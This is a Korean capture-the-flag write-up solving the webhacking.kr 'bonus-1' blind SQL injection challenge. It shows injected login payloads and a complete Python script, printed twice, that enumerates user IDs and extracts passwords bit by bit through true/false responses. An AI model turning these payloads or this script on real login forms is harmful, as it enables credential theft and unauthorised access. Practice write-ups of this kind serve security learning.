없다.
문제에 들어가면 "BLIND SQL INJECTION"이라고 적혀있고, 아래 로그인칸과 결과를 출력하는 칸이 있다.
값이 어디에 어떤 값이 들어가도 되는지 확인을 한다. 즉 일단 id에만 아무 값이나 넣는다. Result에 반응이 없다. 그리고 똑같이 pw에만 아무값을 넣어본다. 이것도 똑같이 반응이 없다.
즉 id나 pw 한 곳에만 값이 들어가면 결과가 나오지 않는다.
그 다음은 결과가 어떤 게 있는지 확인해본다.
일단 id=%27&pw=1
을 해 본다. 그러면 결과에 "login fail"이 나온다. 이것은 로그인을 실패했을 때 나오는 구문인 거 같다.(false 조건)
그 다음은 true일 때 결과를 확인해본다. 여러가지를 true 조건식을 넣어봐야 한다. id=%27+or+%271%27%3D%271%27%23%2500&pw=123
일 때 "wrong password"가 출력됐다. 즉 id값은 맞지만 password는 틀린 상황이다.
그 다음은 필터링되는 값을 확인한다. 필터링된 값은 "no hack"이라는 문구가 나온다. 딱히 select 외에는 필터링된 것을 찾지는 못했다.
그래서 true조건 false조건을 찾았으니까 이것을 이용해서 blind sql injection을 하면 된다. 일단 id,pw 둘 다 모르니 둘 다 구하는 코드를 짜야 한다.
익스플로잇할 때 필요한 값을 설정한다.
requests
는 http를 요청할 때 사용하고, urllib
은 url로 된 코드를 decode할 때 사용한다.
from requests import get
from urllib import parse
url = "https://webhacking.kr/challenge/bonus-1/index.php"
일단 id값을 알지 못하니 id값부터 구한다. id값이 여러개 일 수 있어서 코드는 이런 식으로 짰다.(주석글 참조)
user_check = [] # 처음 구한 id list
user_number = 0 # 처음 구한 id 수
user_count = 0 # n
flag1 = 0 # n - 1
flag2 = 0 # 다음 글자 수를 넘어가기 위한 조건
flag3 = 0 # while문을 탈출하기 위한 조건
count = 1 # 글자 수
while True:
if flag3 == 1: # whlie문 탈출
break
for i in range(65, 97):
hi = hex(i) #10진수 -> 16진수
hi = hi.replace("0x", "%") #16진수형식을 url형식으로 변환
if count == 1: # 첫번째 글자를 확인할 때 한 번만 돌려야 하기 때문에 if문으로 따로 뺏다.
query = f"{url}?id=%27+or+substr(id,1,1)=%27{hi}%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
user_check.append(hi)
user_count += 1
if i == 96:
print(f"{count} round end")
count = 2
flag1 = user_count
flag2 = user_count
else: # 두번째 글자부터
a = user_check[user_number]
query = f"{url}?id=%27+or+substr(id,1,{count})=%27{a}{hi}%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
a += hi
user_check.append(a)
user_count += 1
if i == 96 and flag2 == 1 and user_count == flag1: # 더 이상 id가 없을 때
flag3 = 1 # while문 탈출 조건 on
break
elif i == 96 and flag2 == 1: # count글자 수의 id를 찾지 못했을 때
print(f"{count} round end")
count += 1
flag2 = user_count - flag1
flag1 = user_count
user_number += 1
elif i == 96:
flag2 -= 1
user_number += 1
user = [] # 실제 유저 리스트
print("처음 구한 id")
for i in user_check:
query = f"{url}?id=%27+or+%27{i}%27%23%2500&pw=123"
r = get(query)
print(user_check)
if "wrong password" in r.text:
user.append(i)
print("실제 존재하는 id")
for i in user:
print(i)
user
와 user_check
를 따로 만든 이유는 먼저 id들의 길이를 모르고, id가 거의 똑같고, 글자수만 다를 수 있기 때문에 저런 식으로 코드를 짰다.(a이란 id와 admin이란 id가 존재할 수 있기 때문에 user_check
로 글자 수마다 리스트에 저장을 했고, id를 다시 한번 더 확인한 뒤에 맞는 id만 user
리스트에 저장했다.)
id값을 구했으니 해당 id들을 가지고 pw를 구한다.
for u in user:
password = ""
password_length = 0
while True:
query = f"{url}?id={u}%27+and+length(pw)={password_length}%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
break
password_length += 1
print(f"passowrd_length = {password_length}")
for i in range(1, password_length+1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}?id={u}%27+and+length(bin(ord(substr(pw,{i},1))))={bit_length}%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
break
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}?id={u}%27+and+substr((bin(ord(substr(pw,{i},1)))),{j},1)=%271%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
bits += "1"
else:
bits += "0"
password += int.to_bytes(int(bits,2), (bit_length + 7) // 8, "big").decode("utf-8")
user_decoded = parse.unquote(u)
print(f"id = {user_decoded}, pw = {password}")
print("finish")
정리하면 이런 코드가 나온다.
from requests import get
from urllib import parse
url = "https://webhacking.kr/challenge/bonus-1/index.php"
user_check = [] # 처음 구한 id list
user_number = 0 # 처음 구한 id 수
user_count = 0 # n
flag1 = 0 # n - 1
flag2 = 0 # 다음 글자 수를 넘어가기 위한 조건
flag3 = 0 # while문을 탈출하기 위한 조건
count = 1 # 글자 수
while True:
if flag3 == 1: # whlie문 탈출
break
for i in range(65, 97):
hi = hex(i) #10진수 -> 16진수
hi = hi.replace("0x", "%") #16진수형식을 url형식으로 변환
if count == 1: # 첫번째 글자를 확인할 때 한 번만 돌려야 하기 때문에 if문으로 따로 뺏다.
query = f"{url}?id=%27+or+substr(id,1,1)=%27{hi}%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
user_check.append(hi)
user_count += 1
if i == 96:
print(f"{count} round end")
count = 2
flag1 = user_count
flag2 = user_count
else: # 두번째 글자부터
a = user_check[user_number]
query = f"{url}?id=%27+or+substr(id,1,{count})=%27{a}{hi}%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
a += hi
user_check.append(a)
user_count += 1
if i == 96 and flag2 == 1 and user_count == flag1: # 더 이상 id가 없을 때
flag3 = 1 # while문 탈출 조건 on
break
elif i == 96 and flag2 == 1: # count글자 수의 id를 찾지 못했을 때
print(f"{count} round end")
count += 1
flag2 = user_count - flag1
flag1 = user_count
user_number += 1
elif i == 96:
flag2 -= 1
user_number += 1
user = [] # 실제 유저 리스트
print("처음 구한 id")
for i in user_check:
query = f"{url}?id=%27+or+%27{i}%27%23%2500&pw=123"
r = get(query)
print(user_check)
if "wrong password" in r.text:
user.append(i)
print("실제 존재하는 id")
for i in user:
print(i)
for u in user:
password = ""
password_length = 0
while True:
query = f"{url}?id={u}%27+and+length(pw)={password_length}%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
break
password_length += 1
print(f"passowrd_length = {password_length}")
for i in range(1, password_length+1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}?id={u}%27+and+length(bin(ord(substr(pw,{i},1))))={bit_length}%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
break
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}?id={u}%27+and+substr((bin(ord(substr(pw,{i},1)))),{j},1)=%271%27%23%2500&pw=123"
r = get(query)
if "wrong password" in r.text:
bits += "1"
else:
bits += "0"
password += int.to_bytes(int(bits,2), (bit_length + 7) // 8, "big").decode("utf-8")
user_decoded = parse.unquote(u)
print(f"id = {user_decoded}, pw = {password}")
print("finish")
그렇게 하면 두 가지 값을 얻을 수 있는데 admin 계정으로 로그인하면 문제가 풀린다.